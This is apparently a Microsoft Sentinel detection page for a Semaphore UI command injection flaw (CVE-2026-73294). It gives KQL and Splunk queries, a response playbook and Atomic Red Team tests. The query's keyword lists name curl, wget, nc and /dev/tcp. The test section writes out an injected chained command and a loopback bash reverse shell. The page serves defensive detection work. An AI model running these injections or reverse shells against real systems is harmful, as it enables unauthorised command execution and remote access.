Detect Semaphore UI OS Command Injection (CVE-2026-73294) in Microsoft Sentinel
Detects exploitation of CVE-2026-73294, an OS command injection vulnerability (CWE-78/CWE-88) in Semaphore UI (github.com/semaphoreui/semaphore), the open-source Ansible/Terraform/OpenTofu web UI. Versions prior to 0.0.0-20260704181911-7e8a9434bd81 (fixed in v2.18.17 and v2.19.5-beta2) allow an authenticated attacker to inject shell metacharacters into fields that are passed unsanitized to command-line invocations (task/template arguments, inventory or environment values), resulting in arbitrary command execution on the Semaphore host or its runners. CVSS 9.9 with a public PoC (GHSA-xp7j-h7jc-4w8p). Detection focuses on the semaphore process spawning unexpected shell/child processes and on request payloads containing command-injection metacharacters.
MITRE ATT&CK
- Tactic
- Initial Access Execution
KQL Detection Query
let semaphoreParents = dynamic(["semaphore", "semaphore-server", "semaphore_linux_amd64"]);
let shellChildren = dynamic(["sh", "bash", "dash", "zsh", "cmd.exe", "powershell.exe", "pwsh"]);
DeviceProcessEvents
| where InitiatingProcessFileName has_any (semaphoreParents)
| where FileName in~ (shellChildren)
| where ProcessCommandLine has_any (";", "&&", "||", "|", "`", "$(", "${", "\n")
or ProcessCommandLine has_any ("curl ", "wget ", "nc ", "/dev/tcp/", "bash -i", "python -c", "chmod +x")
| project Timestamp, DeviceId, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName, InitiatingProcessAccountName
| order by Timestamp descFlags the Semaphore server process spawning shell interpreters whose command lines contain shell metacharacters or download/reverse-shell tooling, indicating injected OS commands.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate Ansible/Terraform playbooks that intentionally invoke shell modules with pipes or command substitution
- Task runner templates that wrap commands in sh -c as part of normal operation
- Administrative maintenance scripts executed through Semaphore on schedule
Other platforms for CVE-2026-73294
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Command injection via shell metacharacter in task argument
Expected signal: Process-creation event: sh spawned with a command line containing a semicolon and the injected 'id' command; child process 'id' executed.
- Test 2Command substitution injection
Expected signal: sh process with command line containing $( ) command substitution and a redirection to a file.
- Test 3Reverse shell payload via injection
Expected signal: bash process with '-i' interactive flag and a /dev/tcp/ redirection indicating a reverse shell attempt.
References (5)
- https://github.com/semaphoreui/semaphore/security/advisories/GHSA-xp7j-h7jc-4w8p
- https://nvd.nist.gov/vuln/detail/CVE-2026-73294
- https://github.com/semaphoreui/semaphore/commit/7e8a9434bd81b82cf42220151c74801ea97542d6
- https://github.com/semaphoreui/semaphore/commit/a7a7a33a64aea382a0726b3722856f298663eacf
- https://github.com/advisories/GHSA-xp7j-h7jc-4w8p
Response Playbook
Triage
- Confirm the Semaphore version on the affected host: check the binary version or container image tag; anything below 0.0.0-20260704181911-7e8a9434bd81 (i.e. earlier than v2.18.17 / v2.19.5-beta2) is vulnerable.
- Identify the parent-to-child process chain: verify the shell was spawned directly by the semaphore server process rather than by a legitimate Ansible/Terraform runner invocation.
- Extract the injected command line and decode any base64/URL-encoded payloads to determine intent (recon, download, reverse shell, persistence).
- Correlate the process event with Semaphore API/web access logs to find the authenticated user, source IP, and the task/template/inventory field that carried the injection.
Containment
- Isolate the affected Semaphore host from the network to stop any active reverse shell or lateral movement.
- Disable or rotate credentials for the Semaphore account used to launch the malicious task, and revoke any SSH/cloud keys stored in Semaphore that the process could have accessed.
- Upgrade Semaphore to v2.18.17 or v2.19.5-beta2 (or later) to remove the vulnerable code path.
Evidence Collection
- Preserve process-creation logs (auditd/Sysmon), the Semaphore application logs, and the task output/history from the Semaphore database.
- Capture the full command line, environment variables, and working directory of the injected process, plus any files it created or downloaded.
Escalation Criteria
- !Escalate to incident response if the injected command established an outbound connection, downloaded a payload, or accessed stored secrets/SSH keys.
- !Escalate to platform owners if multiple hosts or runners show the same Semaphore-parented shell activity, indicating widespread exploitation.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Semaphore task/template records in the application database containing shell metacharacters in argument, inventory, or environment fields - >
auditd/Sysmon process-creation events showing semaphore as the parent of a shell interpreter - >
Web/reverse-proxy access logs for POST/PUT requests to Semaphore task and template API endpoints
Tuning Guidance
Establish a baseline of the shell commands your legitimate Ansible/Terraform templates invoke through Semaphore, then allowlist those recurring patterns. Focus alerting on shells containing reverse-shell indicators (/dev/tcp/, bash -i, nc) or download tooling (curl/wget) that do not appear in known-good templates. If Semaphore runs tasks on dedicated runner hosts, restrict the detection to those hosts to reduce noise.
Hunting Queries
Baselines all shell processes spawned by Semaphore to surface anomalous command lines for review.
DeviceProcessEvents | where InitiatingProcessFileName has "semaphore" | where FileName in~ ("sh","bash","dash","zsh") | summarize count() by DeviceName, ProcessCommandLine | order by count_ descindex=* (sourcetype=linux:process OR sourcetype=Sysmon:WinEventLog) parent_process_name=*semaphore* process_name IN (sh,bash,dash,zsh) | stats count values(process) as commands by hostAtomic Red Team Tests
Simulates injection of a chained command through a field passed to a shell by Semaphore.
Command
sh -c "ansible-playbook site.yml --extra-vars 'host=localhost; id > /tmp/semaphore_poc.txt'"Cleanup
rm -f /tmp/semaphore_poc.txtExpected Telemetry
Process-creation event: sh spawned with a command line containing a semicolon and the injected 'id' command; child process 'id' executed.
Expected Detection
KQL/EQL rule fires on the semicolon metacharacter in a shell spawned under a semaphore-like parent.
Simulates injection using $(...) command substitution in a Semaphore inventory/env field.
Command
sh -c 'echo "inventory: $(whoami > /tmp/semaphore_poc2.txt)"'Cleanup
rm -f /tmp/semaphore_poc2.txtExpected Telemetry
sh process with command line containing $( ) command substitution and a redirection to a file.
Expected Detection
Detection matches the $( command-substitution pattern in the shell command line.
Simulates an attacker injecting a bash reverse shell through a vulnerable Semaphore field (harmless loopback in lab).
Command
bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' &Cleanup
pkill -f '/dev/tcp/127.0.0.1/4444' 2>/dev/null; trueExpected Telemetry
bash process with '-i' interactive flag and a /dev/tcp/ redirection indicating a reverse shell attempt.
Expected Detection
Detection fires on the 'bash -i' and '/dev/tcp/' reverse-shell indicators.